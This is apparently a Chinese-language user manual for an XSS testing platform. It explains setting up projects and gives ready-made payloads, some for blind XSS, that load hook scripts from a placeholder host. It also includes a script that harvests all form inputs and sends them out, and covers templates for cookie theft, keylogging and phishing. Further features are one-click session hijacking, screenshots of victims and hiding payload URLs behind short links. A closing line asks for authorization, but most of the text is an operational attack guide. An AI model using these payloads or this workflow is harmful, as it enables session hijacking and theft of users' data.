XSS测试平台使用完全手册

一、快速开始

1.1 注册与登录

访问平台首页，点击"注册"按钮创建账户。登录后进入控制面板。

1.2 创建第一个项目

// 步骤：
1. 点击"新建项目"
2. 填写项目名称（如：测试站点A）
3. 选择项目类型（Web应用/移动应用/API）
4. 配置通知方式（邮件/Telegram/Webhook）
5. 点击"创建"

二、Payload管理

2.1 生成Payload

<!-- 基础Payload -->
<script src="https://your-domain.com/xss/project-id/hook.js"></script>

<!-- 图片标签Payload -->
<img src=x onerror="var s=document.createElement('script');s.src='https://your-domain.com/xss/project-id/hook.js';document.body.appendChild(s)">

<!-- 盲XSS Payload -->
<script src="https://your-domain.com/xss/project-id/blind.js"></script>

2.2 Payload模板

平台提供多种预设模板：

Cookie窃取模板
键盘记录模板
钓鱼页面模板
端口扫描模板
自定义JavaScript模板

三、数据收集

3.1 查看收集的数据

在项目面板中查看触发记录，包括：

触发时间
受害者IP和地理位置
浏览器信息
Cookie数据
页面URL
Referer信息
屏幕截图（如果启用）

3.2 数据导出

// 支持格式
- JSON格式导出
- CSV表格导出
- 生成安全报告PDF

四、盲XSS监控

4.1 配置盲XSS

// 在项目设置中启用盲XSS监控
1. 启用邮件通知
2. 设置Telegram Bot Token
3. 配置Webhook URL
4. 设置触发延迟提醒

4.2 盲XSS Payload部署

<!-- 在所有可疑输入点使用 -->
表单字段、备注框、用户名、邮箱等：
<script src="//your-domain.com/xss/blind/unique-id.js"></script>

使用技巧

1. 为每个测试点使用唯一ID
2. 定期检查盲XSS触发记录
3. 配置多种通知方式避免遗漏
4. 使用短链接隐藏Payload

五、高级功能

5.1 自定义JavaScript

// 在平台编辑器中编写自定义代码
// 示例：获取表单数据
(function(){
  var forms = document.querySelectorAll('form');
  var data = [];
  forms.forEach(form => {
    var fields = {};
    form.querySelectorAll('input').forEach(input => {
      fields[input.name] = input.value;
    });
    data.push(fields);
  });
  
  // 发送到平台
  fetch('/api/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
})();

5.2 会话劫持

平台提供一键会话劫持功能：

自动导入Cookie
浏览器指纹模拟
自动跳转到目标页面

5.3 实时截图

启用html2canvas库自动截取受害者屏幕。

六、安全与隐私

6.1 项目隔离

每个项目拥有独立的数据库和访问权限。

6.2 数据加密

所有收集的敏感数据均使用AES-256加密存储。

6.3 访问日志

平台记录所有操作日志，支持审计。

七、最佳实践

始终获得授权后再进行测试
不要在生产环境中使用破坏性Payload
定期备份重要数据
遵守负责任披露原则
及时删除过期项目数据

八、常见问题

Q: Payload没有触发？

A: 检查CSP策略、浏览器控制台错误、网络连接

Q: 如何隐藏Payload URL？

A: 使用平台内置的短链接生成功能

Q: 支持哪些浏览器？

A: Chrome、Firefox、Safari、Edge等现代浏览器